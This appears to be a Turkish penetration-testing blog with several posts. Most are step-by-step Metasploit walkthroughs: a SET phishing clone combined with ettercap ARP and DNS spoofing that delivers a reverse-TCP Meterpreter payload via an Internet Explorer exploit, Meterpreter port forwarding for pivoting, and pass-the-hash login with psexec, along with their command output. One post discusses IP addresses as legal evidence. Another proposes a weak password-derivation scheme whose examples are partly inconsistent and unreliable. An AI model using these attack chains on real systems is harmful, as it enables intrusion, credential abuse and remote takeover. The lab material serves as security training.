27 Temmuz 2012 Cuma

Şifre Unutma Derdine Son



Son 10 yılımızı düşündüğümüzde devamlı hatırlamak zorunda kaldığımız şeylerin başında ne gelmektedir? Tabi ki şifrelerimiz. Hepimizin başına gelmiştir. Üye olduğumuz bir siteye tekrar girerken şifreyi hatırlayamayiz. Buna kendimce bir çözüm bulmuştum. Geçenlerde yabancı bir blog girdisinde aynı yöntemin anlatımına rastlayınca yazmaya karar verdim. Muhtemelen bir çok kişinin kullandığı bir yöntemdir ama yinede paylaşmış olalım.

Şimdi örneklerle anlatmaya başlayalım. Diyelim ki aşağıdaki adreslerde hesabımız var ve şifrelerimiz de belirtildiği gibi. Hepsini hatırlamak zorundayız. Sadece bir şifremiz olsa ve tüm adreslerde bunu kullansak daha kolay olmaz mı? Elbette olur ama buda biraz riskli olur. Bu durumda örneklerine daha önce Türkiye’de defalarca kez rastladığımız senaryoların çıkması olağandır. Son olarak hackerlar BTK`nin şikayet sayfasını hackleyip şikayette bulunan kişilerin mail adreslerini ve orada kullandıkları şifreleri yayınlamışlardı. Bu şifrelerin aynı zamanda mail şifreleri olarak kullanıldığı görülmüştü. Bir başka örnek ise; geçenlerde ele geçirilen Linkedin şifreleri yayınlanmıştı. Bu şifreyi ele geçiren kötü niyetli biri diğer hesaplarınızı deneyerek çok kolay bir şekilde ulaşabilir tabi ayni şifreyi digerlerinde de  kullandıysanız.

Web               Şifre
Facebook:       19601905
Twitter:          GScimbom
Gmail:            GS1979
Hepsiburada:   bitanesii
Gittigidiyor:     bitanesii
Yahoo:           1905sampiyon
Instagram:      GScimbom
Eksisozluk:     eksideyim

Tüm bu sorunlardan kurtulmak için sadece bir şifreyle bütün sitelere girecegimiz bir yöntem gelistireceğiz. Ama hiçbir şifre birbirinin aynısı olmayacak. Peki bu nasıl mümkün olacak? Basitten zora giderek örneklerle anlatalım.

Öncelikle tüm örneklerde kullanacağımız sabit bir şifre belirliyoruz: h3def

Örnek-1:
Şimdi algoritmamızı belirleyeceğiz: Tüm şifrelerimde h3defolacak ve girmek istediğim site isminin ilk ve son harfleri yer alacak. Sonuç olarak;


facebook:     fkh3def
gmail:          glh3def
gittigidiyor:   grh3def

Örnek-2:
Algoritmamızı biraz daha zorlaştıralım. Tüm şifrelerimdeh3defolacak ve girmek istediğim site isminin son harfi ve harf sayısının karesinin bir fazlası olacak.

facebook:    h3defk65
gmail:          h3defl26
gittigidiyor:   h3defr145

Örnek-3:
Algoritmamızı daha karmaşık hale getirelim. Tüm şifrelerin ortasındah3defolacak ve girmek istediğim site isminin ikinci harfinden sonra gelen harf (alfabetik olarak), girmek istediğim site isminin harf sayısının 4 katı ve @ işareti olacak.

facebook:    3h3def2b@  ikinci harf a dan sonra gelen b harfi, site isminin harf sayısının 4 katı 32 ve  işareti şifrede gösterildiği gibi dizilmiştir
gmail:         2h3def0n@
gittigidiyor: 4h3def8j@

Görüldüğü gibi hatırlamamız gereken bir şifre ve küçük bir algoritma var. Bunların sayesinde yüzlerce siteye şifre hatırlama derdi olmadan girebiliriz.

Riskler:

Kolay algoritma seçildiğinde ele geçirilen bir şifreden diğerleri de ele geçirilebilir. Örneğin; sabit olarak 1905’i kullanarak face1905, gmail1905 şifrelerini oluşturursak ele geçirilen herhangi birinden diğerlerinin bulunma ihtimali yüksektir. Bu yüzden örnek-3’teki gibi bir algoritmayla tahmin edilmesi çok zor hale getirilebilir. ( Şifre ele geçirildiğinde algoritmanın tahmin edilebilmesi için öncelikle sizin bu tarz bir şifreleme metodu kullandığınız bilinmelidir.)

İki şifrenizin aynı anda ele geçirilmesi durumunda algoritma tespit edilmeye çalışılacaktır. Örneğin; facebook ve gmail şifrenize ulaşan bir kişi eğer bu yöntemi kullandığınızı biliyorsa yine algortimayı bulmaya çalışacaktır. Bu olasılık vardır ama önemsenmeyecek kadar düşüktür.





-GG


5 Temmuz 2012 Perşembe

Sosyal Mühendislik + DNS spoofing Uygulaması






Amaç:
Sosyal Mühendislik ve DNS spoofing saldırısının bütünleşik olarak uygulanması.

Senaryo:
Kurban makinesi ile aynı ağda bulunan Saldırgan üzerinde Sosyal Mühendislik Aracı ile www.google.com sitesi klonlanacaktır. Klonlama işlemi tamamlandıktan sonra ettercap aracı ile DNS spoofing yapılarak ağ üzerindeki tüm DNS sorguları saldırgan makinesine yönlendirilecektir. Spoof edilmiş DNS üzerinde www.google.com adresini klonladığımız yeni adrese yönlendirerek kurban makinesi ele geçirilmiş olacaktır.

Öncelikle kısaca kullanacağımız iki araçtan bahsedelim. Birincisi Social Engineering Toolkit (SET). SET, çeşitli sosyal mühendislik saldırıları için hazırlanmış bir araç olarak karşımıza çıkıyor. Oltalama (Phishing) saldırıları, websitesi klonlama gibi yetenekleri mevcut. Ayrıntılı bilgiye buradan ulaşabilirsiniz. İkinci olarak kullanacağımız araç ise ettercap. Bu araç DNS ve ARP spoofing için biçilmiş kaftan. Kullanım detaylarını aşağıda ayrıntılarıyla göreceğiz. Ama yinede detaylı bilgi istiyorsanız şöyle buyurun.

Şimdi SET ile websitesi klonlama işlemine başlayalım.
pentest/exploits/set dizini altında SET’i çalıştırıyoruz.

root@bt:/pentest/exploits/set# ./set

 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Metasploit Framework
   5) Update the Social-Engineer Toolkit
   6) Update SET configuration
   7) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

Gelen seçeneklerden Social-Engineering (1)’i seçiyoruz.
set> 1
 ---------------------

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) SMS Spoofing Attack Vector
   8) Wireless Access Point Attack Vector
   9) QRCode Generator Attack Vector
  10) Powershell Attack Vectors
  11) Third Party Modules

  99) Return back to the main menu.

Website Attack (2)’yi seçerek devam ediyoruz.
set> 2
---------------------
 
   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Man Left in the Middle Attack Method
   6) Web Jacking Attack Method
   7) Multi-Attack Web Method
   8) Victim Web Profiler
   9) Create or import a CodeSigning Certificate

  99) Return to Main Menu

(2) seçeneğinde bulunan Metasploit’i seçerek devam ediyoruz. Burada metasploit modülünü kullanacağımızı belirtiyoruz.
set:webattack>2
 --------------------- 

   1) Web Templates
   2) Site Cloner
   3) Custom Import

  99) Return to Webattack Menu

Web Templates seçiyoruz. www.google.com sitesinin klonunu alacağımız için template olarak hazırda bulunduğu için bunu kullanıyoruz. Site cloner seçeneği ile herhangi bir websitesinin klonunu alabiliriz.
set:webattack>1
---------------------
Klonladığımız sitenin hangi adrese yönleneceğini belirtiyoruz.

set:webattack> Your interface IP Address:192.168.1.128
 ---------------------

  1. Java Required 
  2. Gmail
  3. Google
  4. Facebook
  5. Twitter

Klonlayacağımız site Google olduğu için seçip devam ediyoruz.
set:webattack> Select a template:3
---------------------

Karşımıza  kullanabileceğimiz exploitlerden çıkan bir liste çıkıyor. 25’i seçerek devam ediyoruz. Eğer karşıdaki sistem hakkında bilgimiz yoksa 32 seçeneğini seçmek faydalı olacaktır.

 Enter the browser exploit you would like to use [8]:

  19)..
  20) Apple QuickTime 7.6.7 Marshaled_pUnk Code Execution
  21) Microsoft Help Center XSS and Command Execution (MS10-042)
  22) Microsoft Internet Explorer iepeers.dll Use After Free (MS10-018)
  23) Microsoft Internet Explorer "Aurora" Memory Corruption (MS10-002)
  24) Microsoft Internet Explorer Tabular Data Control Exploit (MS10-018)
  25) Microsoft Internet Explorer 7 Uninitialized Memory Corruption (MS09-002)
  26) Microsoft Internet Explorer Style getElementsbyTagName Corruption (MS09-072)
  27) ..
  32) ..

set:payloads>25
---------------------

   1) Windows Shell Reverse_TCP               Spawn a command shell on victim and send back to attacker
   2) Windows Reverse_TCP Meterpreter         Spawn a meterpreter shell on victim and send back to attacker
   3) Windows Reverse_TCP VNC DLL             Spawn a VNC server on victim and send back to attacker
   4) …
Payload olarak Reverse_TCP Meterpreter kullanmak istiyoruz.
set:payloads>2
---------------------

Reverse bağlantının yapılacağı port numarasını giriyoruz.

set:payloads> Port to use for the reverse [443]:4444
 ---------------------

[*] Cloning the website: http://www.google.com
[*] This could take a little bit...
[*] Injecting iframes into cloned website for MSF Attack....
[*] Malicious iframe injection successful...crafting payload.


***************************************************
Web Server Launched. Welcome to the SET Web Attack.
***************************************************

[*] Server started.

“Server started” yazısı ile dinleme işleminin başladığını anlıyoruz. Kurbanın klonladığımız adresi tıklamasını dört gözle bekliyoruz.Tabi bunu sağlamak için de DNS spoofing yaparak www.google.com adresini yukarıda verdiğimiz 192.168.1.128 adresine yönlendirmemiz gerekiyor.

Şimdi ettercap aracı ile DNS spoofing işlemlerine adım adım başlayalım.
Komut satırından ettercap –G yazarak çalıştırıyoruz. G ile arayüz açılmasını sağlamış oluyoruz.

root@bt: ettercap –G

Aşağıdaki gibi bir ara yüz açılıyor. Burada Sniff sekmesi altında Unified Sniffing’i seçerek işlemi başlatıyoruz.



Network interface’imizi seçerek devam ediyoruz.



Ağımızda bulunan makineleri bulmak için Hosts altında Scan for hosts seçeneğini tıklıyoruz. İşlem tamamlandıktan sonra yine aynı yerden Hosts List’i seçerek bulunan makineleri listeliyoruz.



DNS spoofing yapmak istediğimiz makineleri seçerek Add to Target 1 ve Add to Target 2 diyerek ekliyoruz. Burada listelenen makineler içinde 192.168.1.1 DNS sunucusu. 192.168.1.129 ise ele geçirmek istediğimiz kurban makinesi.



Saldırı yapacağımız makineleri ekledikten sonra Mitm seçeneği altında ARP Poisoning’i seçiyoruz. Peki burada neden ARP poisoning seçme ihtiyacı hissediyoruz. DNS spoofing yaparken kurban makinesi üzerinde DNS makinesinin ARP kayıtlarını saldırgan makinesinin MAC adresi ile değiştirmemiz gerekiyor  Böylece DNS sorgusu yapmak isteyen kurban saldırgan üzerinden geçecektir.



Açılan pencerede sniff remote connections seçeneğini seçerek devam ediyoruz.



Daha sonra Start sekmesi altında Start sniffing’i seçerek ARP poisoning işlemini başlatıyoruz.



ARP poisoning işleminin başladığını test edelim. Öncelikle bir üst ekran çıktısında da görüldüğü gibi 192.168.1.1 IP’li DNS sunucusunun MAC adresi 00:50:56:C0:00:02 şeklinde. Aşağıdaki şekilde görüldüğü gibi Kurban makinesi üzerinde DNS sunucusunun MAC adresi 00:0C:29:58:AC:4A olarak değişti. Peki bu MAC adresi kime 
ait?




Yukarıda Kurban makinesinin ARP kayıtlarında bulunan MAC adresi saldırgan makinesine ait. Aşağıdaki şekilde  eth1 karşısında görülmektedir.





Kurban makinesi DNS sunucusu olarak saldırgan’ı gördüğüne göre DNS spoofing işlemlerine başlayabiliriz. Öncelikle saldırgan makinesi üzerine gelen DNS sorgularının SET ile tanımladığımız 192.168.1.1 adresine yönlendirilmesi gerekiyor. Bunu yapabilmek için etter.dns konfigürasyon dosyasını vi editör ile açıyoruz. Burada istenilen editör kullanılabilir. Daha sonra şekildeki gibi www.google.com adresini 192.168.1.128 olarak ekliyoruz, kaydedip çıkıyoruz.





DNS spoofing’i aktif hale getirmek için Plugins sekmesi altında Manage the plugins seçeneğini seçiyoruz.



Karşımıza gelen pluginler altında dns_spoof’u seçiyoruz.



Şimdi kurbanın www.google.com adresine gitmesini bekliyoruz. Baktık gitmiyor biz gidip giriyoruz J



Şekilde görüldüğü gibi klonladığımız Google sayfası açıldı. Bunu iki şekilde anlıyoruz. Birincisi Lab ortamımızın internet erişimi olmadığı için bu sayfanın normal şartlarda gelmemesi lazım. İkincisi ise aşağıda ettercap üzerinde görülen google.com spoofed to 192.168.1.128 mesajı.





Kurbanı spoof edilmiş DNS üzerinden 192.168.1.128 adresine yönlendirdiğimize göre şimdi sıra geldi SET’e bakmaya. Meterpreter session 1 opened mesajı bize başarılı bir şekilde kurban makinesini ele geçirdiğimizi gösteriyor.



[*] Sending stage (752128 bytes) to 192.168.1.129

[*] Sending Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption to 192.168.1.129:1032...

[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.129:1035) at 2012-07-03 10:50:26 -0400

[*] Session ID 1 (192.168.1.128:4444 -> 192.168.1.129:1035) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3520)

[*] Spawning notepad.exe process to migrate to


[+] Migrating to 2468

[+] Successfully migrated to process 

Interrupt: use the 'exit' command to quit

msf  exploit(ms09_002_memory_corruption) > sessions 



Active sessions


===============



  Id  Type                   Information                                      Connection


  --  ----                   -----------                                      ----------

  1   meterpreter x86/win32  \Administrator @ 192.168.1.128:4444 -> 192.168.1.129:1035 (192.168.1.129)


Açılan meterpreter oturumunu çağırıyoruz.

msf  exploit(ms09_002_memory_corruption) > sessions -i 1

[*] Starting interaction with 1...



Kurban makinesinde olduğumuzun doğruluğunu test ediyoruz.

meterpreter > shell 

Process 3476 created.


Channel 1 created.

Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.



C:\Documents and Settings\Administrator\Desktop>ipconfig



Windows IP Configuration



Ethernet adapter Local Area Connection:



   Connection-specific DNS Suffix  . : localdomain


   IP Address. . . . . . . . . . . . : 192.168.1.129

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   Default Gateway . . . . . . . . . : 



C:\Documents and Settings\Administrator\Desktop>


Artık güç bizde..




-GG

















29 Haziran 2012 Cuma

Meterpreter Port Forwarding ile Bağlantı Sağlama Yöntemi





Amaç:

Saldırgan ile B makinesi arasında kurulan meterpreter oturumu sayesinde A makinesinden erişimi olmayan C’ye RDP bağlantısının gerçekleştirilmesidir.

Güvenlik testlerinde hedef sistemde ele geçirdiğimiz makinelerin haricinde aynı networkte bulunan diğer makinelere de bir şekilde bağlantı kurmak isteriz. Bunun çeşitli yöntemleri bulunmakta. Pivoting yöntemini ve sonrasında yapılabilecekleri linkteki yazımızda detaylıca anlatmıştık. Burada anlatacaklarımız port forwarding yöntemi ile A makinesininin C makinesine RDP bağlantı kurmasıdır. A makinesi bunu yaparken Saldırgan ile B makinesi arasında bulunan tüneli kullanacaktır.

Şimdi konuyu analiz ederek başlayalım. İlk adımda B’de bulunan güvenlik açığından dolayı Saldırgan makinesi B ile oturum açmayı başarmıştır. Şu ana kadar her şey yolunda. A makinesinin C’ye bağlantı kurabilmesi için öncelikle 10.1.1.0/24 networkunu tanıması gerekmektedir. Bunun için meterpreter üzerinde routing yazılacaktır. Fakat bu işlem sadece Saldırgan makinesi için erişimi tamamlayacaktır. O halde A makinesini C’ye Saldırgan üzerinden eriştirelim. Evet kulağa hoş geliyor. Eğer Saldırgan üzerinde hedef networke doğru bir port yönlendirme yaparsak C ye erişmiş olacağız. O halde şimdi sırasıyla işlemleri uygulamaya başlayalım.

Not: Saldırgan, B ile meterpreter oturumu kurarak B’yi ele geçirmiş oluyor. Bu bölüm ayrıca anlatılmamaktadır.

meterpreter > background
[*] Backgrounding session 1...

Oturumu background komutu ile arka planda tutarak erişimimizin olmadığı 10.1.1.0/24 networku için route eklemesi yapıyoruz.

msf  exploit(ms08_067_netapi) > route add 10.1.1.0 255.255.255.0 1
[*] Route added
Metasploit üzerinde bulunan TCP scan modulü ile hem C makinesine bağlantı kurup kurmadığımızı hem de açık portları tespit edelim.
msf  exploit(ms08_067_netapi) > use auxiliary/scanner/portscan/tcp
msf  auxiliary(tcp) > set rhosts 10.1.1.130
rhosts => 10.1.1.130
msf  auxiliary(tcp) > run

[*] 10.1.1.130:139 - TCP OPEN
[*] 10.1.1.130:135 - TCP OPEN
[*] 10.1.1.130:445 - TCP OPEN
[*] 10.1.1.130:1025 - TCP OPEN
[*] 10.1.1.130:3389 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf  auxiliary(tcp) >


Yazdığımız route sayesinde 10.1.1.130 IP’sine erişebildiğimizi gördük. Ayrıca 3389 portunun da C makinesi üzerinde açık olduğunu tespit etmiş olduk.
Böylelikle saldırganın C’ye erişimini de sağlamış olduk. Şimdi sıra geldi A makinesini saldırgan üzerinden C’ye yönlendirmeye. Bunun için meterpreter üzerinde portfwd komutunu kullanarak lokal 4445 portunu 10.1.1.130 IP adresinin 3389 yani RDP portuna eşleştiriyoruz. Bu komut sayesinde saldırgan makinesinin 4445 portuna bağlantı kurulduğunda tünel üzerinden C makinesinin RDP portuna erişilmiş olacak.
Sessions –i 1 komutu ile arka plana attığımız oturumu tekrar alıyoruz.

msf  exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

İlgili port yönlendirme komutunu giriyoruz.

meterpreter > portfwd add -l 4445 -r 10.1.1.130 -p 3389
[*] Local TCP relay created: 0.0.0.0:4445 <-> 10.1.1.130:3389

Ve şimdi sıra geldi A makinesinden C’ye RDP ile bağlanmaya. Yukarıda yazdığımız port yönlendirme komutuna istinaden saldırgan makinesinin 4445 portuna RDP bağlantısı gerçekleştiriyoruz.

root@GG:~# rdesktop 192.168.183.226:4445 -u Administrator
WARNING: Remote desktop does not support colour depth 24; falling back to 16

Şekilde de görüldüğü gibi başarılı bir şekilde C makinesine RDP bağlantısı kurmuş olduk.






-GG




26 Haziran 2012 Salı

Kanunlarımızda IP adresi bir kişiyi tanımlar mı?



Linkedin üzerinde oluşturulan Bilişim Hukuku grubunda başlatılan bir tartışma hakkında konuşulanları toparlamak istedim. Tartışma, kanunlarımızda IP adresinin bir kişiyi tanımlayıp tanımlamaması ile ilgili. Bu tür konular hakkında çok fazla bilgi kirliliği olduğunu düşündüğüm için uzmanların fikirlerini burada paylaşmak istedim. Hem bu şekilde gruba erişimi olmayan kişilerde faydalanmış olacaktır. 

Öncelikle IP adresinin atanmasıyla alakalı teknik bilgiyle başlayalım. IP adresi internet servis sağlayıcılar tarafından ağ yönlendirici cihazlarına (modem/router) atanır. Bu atama işlemi dinamik ve statik olmak üzere iki şekilde yapılır. Dinamik olduğu zaman yönlendiricimizi her kapatıp açmamızda ve/veya belirli zaman aralıklarında IP adresimiz yenilenir. Bu şekilde yenilense dahi internet servis sağlayıcısı tarafından IP adresinin hangi internet abonesine hangi tarihlerde atandığı bilgisi tutulur. Diğer bir yöntem olan statik atama işleminde ise ağ yönlendiricilere atanan IP’ler hiçbir zaman değişmez. Bu, özellikle kurumlarda tercih edilen bir yöntemdir. Tüm bu IP’ler gerçek IP olarak adlandırılmaktadır. Yani atanan bir IP sadece size aittir ve tüm internet ağında sizin adınıza dolaşmaktadır. Bir de lokal IP kavramı vardır. Bu da ağ yönlendiricilerine bağlanan bilgisayarlarımızın aldığı IP’lerdir. Örneğin, bilgisayarımızdan www.google.com adresine gitmek istediğimizde lokal IP’miz yönlendiriciden geçerken gerçek IP’miz ile değişecektir. Google’a sorgu yapan IP adresi servis sağlayıcısının bize atadığı gerçek IP olacaktır. Buradan özellikle şu sonuç çıkmaktadır; bir gerçek IP adresi arkasında birden fazla kullanıcı olabilmektedir. Özellikle çok kullanıcılı kurumlarda web adreslerine son noktada kimin eriştiğinin tespiti yapılamamaktadır. Burada kurum içinde trafiğin takibi için 5651 sayılı kanunun gereksinimleri uygulanarak trafik loglanmalıdır.

Gerçek IP adresi gibi kişiye özel olan bir de MAC adresi vardır. Her kullanıcının MAC adresi birbirinden farklı olduğu için www.google.com adresine bağlanan kişi MAC adresinden tespit edilemez mi sorusu akıllara gelmektedir. İnternet protokolünün çalışma mantığına göre paketler yönlendiriciler üzerinden geçtikten sonra geçtiği yönlendiricinin MAC adresini bir sonraki yönlendiriciye taşırlar. Kullanıcının MAC adresi sadece kendi yönlendiricisine kadar iletilmiş olur ve bu yüzden MAC adresiyle tespit edilemez.

Verilen teknik bilgilerin ışığında IP adresinin bir kişiyi tanımlayıp tanımlamadığını tartışalım. Internet servis sağlayıcılarıyla yapılan hizmet sözleşmeleri ile yönlendiricimize atanan IP’ler ismimiz ile kayıt altına alınıyor. Bu durumda bu IP’lerden yapılan her işlemin bizim tarafımızdan yapıldığı kabul ediliyor. Fakat yasal olmayan yollarla yönlendiricimizin üzerinden suç işleyen kişiler olabilir. Kablosuz ağımızın güvenliğini kırıp yine bizim IP’miz üzerinden suçlara karışmış kişiler olabilir. Bu yüzden IP adresimiz üzerinden işlenen suçlarda IP tek başına yeterli bir kanıt olarak görülmemelidir. Bu tür ihtimaller olabileceği için karşı tarafın ispat yükümlülüğü devreye girecektir. Grup üzerindeki tartışmada Sn. Avukat Ceyda Cimilli Akaydın durumu şu şekilde ifade etmiştir. Olduğu gibi alıntılıyorum.  

Ceza hukuku'nun temel prensiplerinden birisi şüpheden sanığın yararlanmasıdır. IP numarası hangi kullanıcıya atanmış IP adresinden işlem yapıldığını belirler ama teknik kişilerin çok daha iyi belirttikleri gibi, uzaktan erişim, kablosuz modeme izinsiz bağlanma vb. pekçok yolla aboneye atanan IP adresinden abonenin haberi olmadan işlem yapılabilir. Ceza hukuku açısından aboneye internet erişimini korumak gibi bir yükümlülük veya abonenin bağlantısı kullanılarak yapılacak işlemden her halukarda sorumlu olacağına ilişkin bir hüküm, veya özel hukuk açısından bakarsak ispat yükünü değiştiren bir karine yoktur. Özel hukuk açısından hayatın olağan akışı içerisinde IP nin atandığı kişinin fiili yapan olduğu kabul edilemez çünkü bu yasa dışı eylemler yapanların kendilerine atanmış IP leri değil yasa dışı yollarla elde ettikleri başka IP leri kullanmaları genel eğilimdir. Dolayısıyla IP nin atanmış olduğu abonenin suçu işlediği şüphelidir ve bundan sanık yararlanmalıdır. Başka delil yoksa ceza hukukunda sanık delil yetersizliğinden beraat etmeli, özel hukuka ilişkin işlerde ise karşı taraf ispat yükü altında olmalıdır.”

Sonuç olarak ev kullanıcıları için suçun işlendiğine dair kuvvetli deliller olması gerekmektedir. Kurumlar tarafından işlendiği iddia edilen suçlarda ise kurum çalışanlarının trafik kayıtlarının tutulduğu sistemlere bakılmalıdır. Aksi takdirde kurumlar için istenmeyen sonuçlar ortaya çıkabilecektir.


-GG

25 Haziran 2012 Pazartesi

Password Hash’i Elde Bulunan Sistemlerde pass-the-hash Tekniği ile Oturum Açma



Hedef makine ile oturum açabilmek için sadece makine üzerinde zafiyetlerin bulunması gerekmemektedir. Örneğin bir makinenin Administrator şifresinin hash değerini bilmek te tek başına yeterli olabilir. Eğer bu hash değeri kırılamayan bir hash ise işte burada devreye pass-the-hash tekniği giriyor. Yani şifre yerine hash’i kullanarak hedef sistem üzerinde oturum açabiliyoruz. Bunu yaparken de metasploitin psexec modülünü kullanıyoruz.

Öncelikle kullanacağımız modülü ve payload’u belirtiyoruz. Burada payload olarak reverse_tcp kullanacağız.

msf > use windows/smb/psexec
msf  exploit(psexec) >  set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

Kaynak ve hedef makine IP’lerini girdikten sonra show options ile başka hangi bilgilere ihtiyaç duyulduğuna bakıyoruz.

msf  exploit(psexec) > set LHOST 192.168.183.214
LHOST => 192.168.183.214
msf  exploit(psexec) > set RHOST 192.168.183.207
RHOST => 192.168.183.207
msf  exploit(psexec) > show options 

Module options (exploit/windows/smb/psexec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOST      192.168.183.207  yes       The target address
   RPORT      445              yes       Set the SMB service port
   SHARE      ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share

   SMBDomain  WORKGROUP        no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.183.214  yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic


Elimizde bulunan Hash değerini SMBPass seçeneğinin karşısına yazıyoruz.

msf  exploit(psexec) > set SMBPass b69037b8b3970c3eaad3b435b51404ee:c524132537feb45e42eb5a4027285ad5
SMBPass => b69037b8b3970c3eaad3b435b51404ee:c524132537feb45e42eb5a4027285ad5

Administrator kullanıcı adını da SMBUser ile birlikte belirtiyoruz.

msf  exploit(psexec) > set SMBUser Administrator
SMBUser => Administrator

Tüm seçenekler tamamlandıktan sonra exploit komutunu girmek kalıyor sadece.

msf  exploit(psexec) > exploit

[*] Started reverse handler on 
192.168.183.214:4444 
[*] Connecting to the server...
[*] Authenticating to 192.168.183.207:445|WORKGROUP as user 'Administrator'...
[*] Uploading payload...
[*] Created \qEXHClGb.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.183.207[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.183.207[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (VDwmbPgb - "MkLLCNKILeYfkFtjljzPOzlWPc")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Sending stage (752128 bytes) to 192.168.183.207
[*] Closing service handle...
[*] Deleting \qEXHClGb.exe...
[*] Meterpreter session 1 opened (
192.168.183.214:4444 -> 192.168.183.207:1217) at 2012-06-24 19:14:32 -0400

meterpreter >

Görüldüğü gibi hash değerini kırmadan hedef makine üzerinde oturum açmayı başardık. Burada çıkarılması gereken asıl sonuç; oturum açmak için sadece zafiyet gerekmiyor. Metasploit üzerindeki modüller sayesinde sistem hakkında bilinen bilgiler ile oturum açılabilir.



-GG